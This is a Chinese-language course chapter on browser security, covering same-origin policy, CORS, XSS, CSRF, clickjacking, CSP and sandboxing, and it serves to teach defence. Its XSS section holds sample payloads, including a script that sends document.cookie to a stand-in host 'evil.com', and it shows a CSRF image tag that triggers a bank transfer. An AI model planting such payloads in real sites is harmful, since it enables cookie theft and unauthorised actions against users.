浏览器安全 — 在开放的 Web 上建一座坚不可摧的城堡
浏览器每天替你打开成百上千个网页,其中不乏恶意站点。它如何保证一个钓鱼页面不能偷走你邮箱里的邮件?一段注入的脚本不能转走你银行账户里的钱?答案藏在浏览器精心构建的多层安全体系里——从同源策略到沙箱隔离,从 CSP 到站点隔离,每一层都是用无数漏洞的教训换来的防线。
📋 开篇自测:你已经知道多少?
- 同源策略限制了哪些行为?为什么
<img>和<script>标签不受同源限制?- XSS 和 CSRF 的本质区别是什么?为什么说 XSS 是”注入代码”,CSRF 是”冒用身份”?
- 浏览器沙箱是什么?为什么渲染进程即使被攻陷,也无法直接读写用户磁盘文件?
一、同源策略:Web 安全的地基
1.1 什么是”源”
一个”源”(Origin)由三部分决定:协议 + 主机 + 端口。三者完全相同才算同源。
同源判断 (基准: https://app.example.com:443/page)
URL 同源? 原因
───────────────────────────────────────────────────────
https://app.example.com/other ✅ 路径不同不影响
http://app.example.com/page ❌ 协议不同
https://api.example.com/page ❌ 主机不同
https://app.example.com:8080/page ❌ 端口不同
1.2 同源策略限制了什么
同源策略的三道防线
1. DOM 访问限制 → 跨源 iframe 内容不可读取
2. 数据存储隔离 → Cookie/LocalStorage/IndexedDB 按源隔离
3. 网络请求限制 → Fetch/XHR 跨源请求的响应数据被拦截
但出于 Web 生态的需要,<script>、<img>、<link>、<form> 等标签允许跨源加载。关键在于:可以嵌入/发送,但不能读取响应内容。
1.3 CORS:安全的跨源之门
CORS 预检请求流程
浏览器 服务器
│── OPTIONS /api/data ──────────→│ ← 预检
│ Origin: https://app.com │
│←─ 204 ─────────────────────────│
│ Access-Control-Allow-Origin: │
│ https://app.com │
│── PUT /api/data ──────────────→│ ← 真正请求
│←─ 200 OK ──────────────────────│
CORS 的关键响应头一览:
| 响应头 | 作用 | 示例值 |
|---|---|---|
Access-Control-Allow-Origin | 允许哪个源访问 | https://app.com 或 * |
Access-Control-Allow-Methods | 允许哪些 HTTP 方法 | GET, POST, PUT |
Access-Control-Allow-Headers | 允许哪些请求头 | Content-Type, Authorization |
Access-Control-Max-Age | 预检结果缓存时间(秒) | 86400 |
Access-Control-Allow-Credentials | 是否允许携带 Cookie | true |
注意:并非所有跨域请求都需要预检。满足以下全部条件的简单请求直接发送,不触发 OPTIONS 预检:方法为 GET/HEAD/POST,Content-Type 仅为 text/plain、multipart/form-data 或 application/x-www-form-urlencoded,且请求头仅包含安全列表中的头(如 Accept、Accept-Language、Content-Language、Content-Type 等)。
核心原则:CORS 是服务端表达”我信任这个源”的机制。浏览器只是执行者——它发现服务端没说”允许”,就不让 JS 拿到数据。
🤔 想一想 为什么浏览器允许
<img>跨源加载但不允许fetch跨源读取?如果禁止一切跨源行为,Web 还能正常运转吗?
二、XSS:注入代码的攻击
2.1 三种 XSS 类型
| 类型 | 注入位置 | 触发方式 | 危险程度 |
|---|---|---|---|
| 存储型 | 数据库 | 用户访问页面即触发 | 最高 |
| 反射型 | URL 参数 | 诱导点击恶意链接 | 中等 |
| DOM 型 | 前端 JS | 前端将不可信数据写入 DOM | 中等 |
// 存储型 XSS: 攻击者在评论框提交恶意脚本
// <script>fetch('https://evil.com/steal?c='+document.cookie)</script>
// 所有加载评论的用户都会执行这段代码——影响范围最大
// 反射型 XSS: 恶意代码通过 URL 参数注入
// 恶意链接: https://shop.com/search?q=<script>stealCookies()</script>
// 服务端直接把搜索词拼入 HTML:
// <p>搜索结果: <script>stealCookies()</script></p>
// DOM 型 XSS: 前端直接把 URL 参数写入 DOM
const keyword = location.hash.slice(1);
document.getElementById('result').innerHTML = keyword;
// 攻击者: https://site.com/#<img onerror=alert(1) src=x>
XSS 一旦成功,攻击者能做什么?
XSS 攻击者的能力
✅ 读取页面上所有内容 (包括表单中的密码)
✅ 窃取 Cookie (除非设置了 HttpOnly)
✅ 发送任意 HTTP 请求 (以用户身份)
✅ 修改页面内容 (制造钓鱼界面)
✅ 监听用户键盘输入 (记录密码)
✅ 重定向到恶意网站
2.2 XSS 防御体系
XSS 防御纵深
第1层: 输出编码 (根据上下文转义 < > & " ')
第2层: CSP 策略 (禁止内联脚本,限制脚本来源)
第3层: HttpOnly Cookie (即使XSS成功也无法窃取Cookie)
第4层: 现代框架的自动转义 (React/Vue 默认安全)
// React 默认安全——自动转义
function Comment({ text }) {
return <p>{text}</p>;
// 如果 text = '<script>alert(1)</script>'
// 渲染为: <p><script>alert(1)</script></p>
// 脚本不会执行
}
// 除非你故意绕过
<p dangerouslySetInnerHTML={{ __html: html }} />
// 名字就在警告你: 这很危险!
🤔 想一想 Vue 的
v-html指令和 React 的dangerouslySetInnerHTML都能直接插入 HTML。为什么框架不直接禁止这些 API?在什么场景下它们是必须的?
三、CSRF:冒用你的身份
3.1 攻击原理
CSRF 利用浏览器自动携带 Cookie 的机制,在用户不知情时发起请求。
CSRF 攻击流程
1. 用户登录 bank.com,浏览器存储 Session Cookie
2. 用户访问 evil.com
3. evil.com 包含: <img src="https://bank.com/transfer?to=hacker&amount=10000">
4. 浏览器自动携带 bank.com 的 Cookie 发起请求
5. 服务器以为是合法操作 → 转账成功
3.2 XSS 与 CSRF 的本质区别
很多人容易混淆 XSS 和 CSRF,用一张图理清:
XSS vs CSRF
XSS: 在你的网站上执行攻击者的代码
攻击者 → 注入恶意脚本 → 你的网站 → 用户执行了恶意代码
核心: 代码注入
CSRF: 在攻击者的网站上,以你的身份发请求
用户 → 访问恶意网站 → 恶意网站代替用户 → 向你的网站发请求
核心: 身份冒用
一句话: XSS 偷你的"能力",CSRF 借你的"身份"。
3.3 CSRF 防御
| 方案 | 原理 | 备注 |
|---|---|---|
| CSRF Token | 表单携带随机 Token,服务端校验 | 最经典 |
| SameSite Cookie | 跨站请求不携带 Cookie | 现代浏览器默认 Lax |
| Referer 检查 | 校验请求来源域名 | 简单但不够可靠 |
SameSite Cookie 的三种模式
Strict → 跨站请求一律不携带 (安全但体验差)
Lax → GET 导航请求携带,POST 等不携带 (默认值,平衡)
None → 始终携带 (必须配合 Secure,用于第三方场景)
四、点击劫持与 CSP
4.1 点击劫持
攻击者用透明 iframe 覆盖在诱饵页面上方,用户以为点了”领奖”,实际点了”确认转账”。
用户看到的: 实际页面结构:
┌──────────────┐ ┌──────────────────────┐
│ 🎁 恭喜中奖! │ │ evil.com │
│ [点击领取] │ │ ┌──────────────┐ │
└──────────────┘ │ │ bank.com │ │
│ │ (opacity: 0) │ │
│ │ [确认转账] │← 真 │
│ └──────────────┘ │
│ [领取大奖] ← 假 │
└──────────────────────┘
防御:设置 X-Frame-Options: DENY 或 CSP frame-ancestors 'self'。
4.2 CSP:白名单安全策略
CSP 告诉浏览器:只有来自白名单的资源可以加载和执行。
CSP 如何阻止 XSS
Content-Security-Policy: script-src 'self' https://cdn.example.com
攻击者注入内联脚本 → 浏览器: 不在白名单 ❌ 拒绝执行
攻击者引入外部脚本 → 浏览器: evil.com 不在白名单 ❌ 拒绝加载
CSP 常用指令速查:
Content-Security-Policy:
default-src 'self'; ← 默认只允许同源
script-src 'self' https://cdn.com; ← JS 来源白名单
style-src 'self' 'unsafe-inline'; ← CSS (不推荐 unsafe-inline)
img-src *; ← 图片允许任何来源
connect-src 'self' https://api.com; ← AJAX/Fetch 白名单
frame-ancestors 'self'; ← 防点击劫持
report-uri /csp-violation-report; ← 违规上报
渐进式部署:先用 Content-Security-Policy-Report-Only 仅报告不拦截,收集违规日志,调整白名单,再切换为强制模式。使用 nonce 或 hash 替代 unsafe-inline 是最佳实践。
五、沙箱与站点隔离
5.1 沙箱:进程级安全隔离
浏览器沙箱把渲染进程关在”笼子”里——即使被攻陷也无法访问系统资源。
浏览器沙箱架构
┌────────────────────────────────────────────┐
│ 浏览器主进程 ← 拥有完整系统权限 │
│ 文件读写、网络访问、进程管理 │
└────────┬───────────────────────────────────┘
│ IPC (进程间通信)
┌────────┴───────────────────────────────────┐
│ 沙箱边界 │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │渲染进程 1 │ │渲染进程 2 │ │渲染进程 3 │ │
│ │ ❌ 文件 │ │ ❌ 文件 │ │ ❌ 文件 │ │
│ │ ❌ 网络 │ │ ❌ 网络 │ │ ❌ 网络 │ │
│ └──────────┘ └──────────┘ └──────────┘ │
│ 所有操作必须通过 IPC 请求主进程代为执行 │
└────────────────────────────────────────────┘
5.2 站点隔离:防御 Spectre
2018 年披露的 Spectre 漏洞可以通过旁路攻击读取同进程的其他内存区域。站点隔离的设计早于 Spectre(Chrome 团队从 2012 年就开始开发),但 Spectre 的出现加速了它的全面部署。站点隔离的对策是:每个站点使用独立渲染进程,操作系统级别的进程隔离让 Spectre 无法跨进程读取。
注意:“站点”(协议 + eTLD+1) 比”源”(协议 + 主机 + 端口) 粒度更粗。app.example.com 和 api.example.com 是不同源但同站点。
5.3 跨源隔离三件套
站点隔离配合三个 HTTP 响应头进一步加固:
CORP / COEP / COOP
Cross-Origin-Resource-Policy (CORP):
→ 控制资源能被谁加载 (same-origin / same-site / cross-origin)
Cross-Origin-Embedder-Policy (COEP):
→ 要求所有子资源都设置了 CORP (require-corp)
Cross-Origin-Opener-Policy (COOP):
→ 切断与跨源窗口的引用关系 (same-origin)
三者协同启用后: self.crossOriginIsolated === true
→ 可以使用 SharedArrayBuffer 和高精度 performance.now()
🤔 想一想 站点隔离极大增加了内存消耗——每个站点一个进程。Chrome 如何在安全性和内存占用之间做权衡?低内存设备上是否有不同的策略?
六、安全策略速查
浏览器安全纵深防御
第7层: 用户层 → 安全警告、钓鱼检测、证书验证
第6层: 应用层 → CSP、CORS、Cookie策略、SRI
第5层: 隔离层 → 同源策略、站点隔离、CORP/COEP/COOP
第4层: 沙箱层 → 渲染进程沙箱、GPU进程沙箱
第3层: 进程层 → 多进程架构、IPC权限控制
第2层: 操作系统层 → ASLR、DEP、seccomp-BPF
第1层: 硬件层 → CPU安全补丁 (Spectre/Meltdown)
每一层失守,下一层接住。
| 威胁 | 防御方案 | 关键配置 |
|---|---|---|
| XSS | CSP + 输出编码 + HttpOnly | script-src 'self' |
| CSRF | SameSite Cookie + Token | SameSite=Lax |
| 点击劫持 | X-Frame-Options + CSP | frame-ancestors 'self' |
| 中间人攻击 | HTTPS + HSTS | Strict-Transport-Security |
| 子资源篡改 | SRI | integrity="sha256-..." |
七、实战:安全配置审计
7.1 实验一:检查安全响应头
// 在控制台检查当前页面的安全头
async function audit() {
const res = await fetch(location.href);
const checks = [
'content-security-policy', 'x-frame-options',
'strict-transport-security', 'x-content-type-options'
];
checks.forEach(h => {
const v = res.headers.get(h);
console.log(v ? `✅ ${h}: ${v}` : `❌ ${h}: 未设置`);
});
}
audit();
7.2 实验二:体验 CSP 拦截
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
<script>console.log('这段内联脚本会被 CSP 拦截!')</script>
<!-- 打开控制台查看 CSP 违规报告 -->
八、本章知识脉络总结
浏览器安全知识地图
浏览器安全
├── 基础策略
│ ├── 同源策略: 协议+主机+端口
│ ├── CORS: 跨源协商机制
│ └── Cookie: SameSite/Secure/HttpOnly
│
├── 常见攻击
│ ├── XSS: 注入并执行恶意脚本
│ ├── CSRF: 利用Cookie冒用身份
│ └── 点击劫持: 透明iframe误操作
│
├── 防御机制
│ ├── CSP: 白名单限制资源来源
│ ├── SRI: 子资源完整性校验
│ └── HSTS: 强制HTTPS
│
└── 架构级安全
├── 沙箱: 限制渲染进程权限
├── 站点隔离: 每站点独立进程
└── CORP/COEP/COOP: 跨源隔离
📝 结尾自测:检验你的学习成果
- 同源策略中”源”由哪三部分组成?
https://a.example.com和https://b.example.com是同源还是跨源?- XSS 的三种类型及各自攻击路径是什么?为什么存储型最危险?
- CSRF 攻击利用了浏览器的什么机制?SameSite Cookie 如何防御?
- CSP 的核心思想是什么?推荐的渐进式部署步骤是怎样的?
- 浏览器沙箱如何确保渲染进程被攻陷后不能危害系统?
下一章预告:浏览器不只是一个”网页查看器”——WebAssembly 让它能以接近原生速度运行 C/C++/Rust 代码,Service Worker 让网页拥有了离线能力,WebGPU 让浏览器能直接调度 GPU 进行并行计算。下一章,我们将探索这些前沿技术如何重新定义浏览器的边界。
购买课程解锁全部内容
前端进阶第一课:11 章掌握浏览器核心
¥29.90